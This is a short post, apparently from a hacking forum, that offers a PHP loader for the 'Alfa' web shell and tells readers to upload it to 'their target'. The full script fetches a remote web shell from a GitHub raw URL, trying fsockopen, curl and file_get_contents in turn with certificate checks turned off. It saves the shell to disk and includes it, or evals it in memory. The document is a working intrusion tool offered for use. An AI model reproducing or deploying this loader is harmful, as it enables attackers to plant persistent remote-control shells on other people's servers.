For those who are having trouble removing the shell on the server, just upload this file to their target until the shell comes up smoothly …
http://getalfa.rf.gd/
<?php
class Alfa {
public $shell_url = “https://raw.githubusercontent.com/belphegorinj3ctor/alfa/master/alfa.php”; // default
public $loader_name = “alfa_loader.tmp”; // default
private $loader_path = “”;
private $upload_directory = “”;
public function __construct() {
$this -> upload_directory = $_SERVER[“DOCUMENT_ROOT”] . “/../”;
$this -> loader_path = $this -> upload_directory . “/” . $this -> loader_name;
}
private function _fsockopen(){
$shell = $this -> shell_url;
if ( substr($shell, 0,5) != “https” ){
if ( substr($shell, 0,11) != “http://www.” ){
$shell = str_replace( array(“http://”, “www.”, “https://”), “”, $shell);
if ( substr($shell, 0,4) == “www.” ){
$shell = “http://” . $shell;
}else{
$shell = “http://www.” . $shell;
}
}
}
$url_info = parse_url($shell);
$port = 80;
if ( !isset($url_info[“path”]) ) {
$url_info[“path”] = “/”;
}
if ( !isset($url_info[“scheme”]) ) {
$url_info[“scheme”] = “”;
}
if( $url_info[“scheme”] == “https” ) {
$url_info[“scheme”] = “ssl://”;
$port = 443;
}else{
$url_info[“scheme”] = “”;
}
$shell = $url_info[“scheme”] . $url_info[“host”];
$socket = @fsockopen($shell, $port, $errno, $errstr, 15);
if($socket){
$http = “GET {$url_info[“path”]} HTTP/1.0\r\n”;
$http .= “Host: {$url_info[“host”]}\r\n”;
$http .= “User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X x.y; rv:42.0) Gecko/20100101 Firefox/42.0\r\n”;
$http .= “Connection: close\r\n\r\n”;
fwrite($socket, $http);
$contents = “”;
while (!@feof($socket)) {
$contents .= @fgets($socket, 4096);
}
list($header, $body) = explode(“\r\n\r\n”, $contents, 2);
@fclose($socket);
return $body;
}else{
return “”;
}
}
private function _curl(){
$resp = “”;
if ( function_exists(‘curl_version’) ){
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_RETURNTRANSFER => 1,
CURLOPT_URL => $this -> shell_url,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_USERAGENT => ‘Mozilla/5.0 (Macintosh; Intel Mac OS X x.y; rv:42.0) Gecko/20100101 Firefox/42.0’
));
$resp = curl_exec($curl);
curl_close($curl);
}
return $resp;
}
private function getSource($method = “fsockopen”){
$source = “”;
switch( $method ) {
case “fsockopen”:
if ( function_exists(“fsockopen”) ) {
$source = $this -> _fsockopen();
if ( empty($source) ) {
$this -> getSource(“curl”);
return false;
}
} else {
$this -> getSource(“curl”);
return false;
}
break;
case “curl”:
$source = $this -> _curl();
if ( empty($source) ) {
$this -> getSource(“file_get_contents”);
return false;
}
break;
case “file_get_contents”:
if ( function_exists(“file_get_contents”) ) {
$source = @file_get_contents($this -> shell_url);
}
break;
}
return $source;
}
private function getTemp() {
$tmp = false;
$dirs = @ini_get(“open_basedir”);
if ( !empty($dirs) ) {
$dirs = explode(“:”, $dirs);
foreach ( $dirs as $dir ) {
if ( @is_writable( $dir ) ) {
$tmp = $dir;
break;
}
}
$tmp = $tmp . “/” . $this -> loader_name;
} else {
if ( function_exists(“sys_get_temp_dir”) ) {
if ( @is_writable ( str_replace(‘\\’, ‘/’, sys_get_temp_dir()) ) ) {
$tmp = sys_get_temp_dir();
$tmp = $tmp . “/” . $this -> loader_name;
}
}
}
return $tmp;
}
public function run(){
if ( !@file_exists ($this -> loader_path) ) {
$source = $this -> getSource();
if( !empty($source) ) {
if ( !@is_writable ( $this -> upload_directory ) ) {
$this -> loader_path = $this -> getTemp();
}
if ( $this -> loader_path ) {
if ( @file_put_contents( $this -> loader_path, $source ) ) {
include ( $this -> loader_path );
} else {
eval (“?>” . $source );
}
} else {
eval (“?>” . $source );
}
} else {
echo (“source is empty…!”);
}
} else {
include ( $this -> loader_path );
}
}
}
$alfa = new Alfa();
$alfa -> shell_url = “https://raw.githubusercontent.com/belphegorinj3ctor/alfa/master/alfa.php”; //optional
$alfa -> loader_name = “alfa_loader.tmp”; //optional
$alfa -> run();
?>
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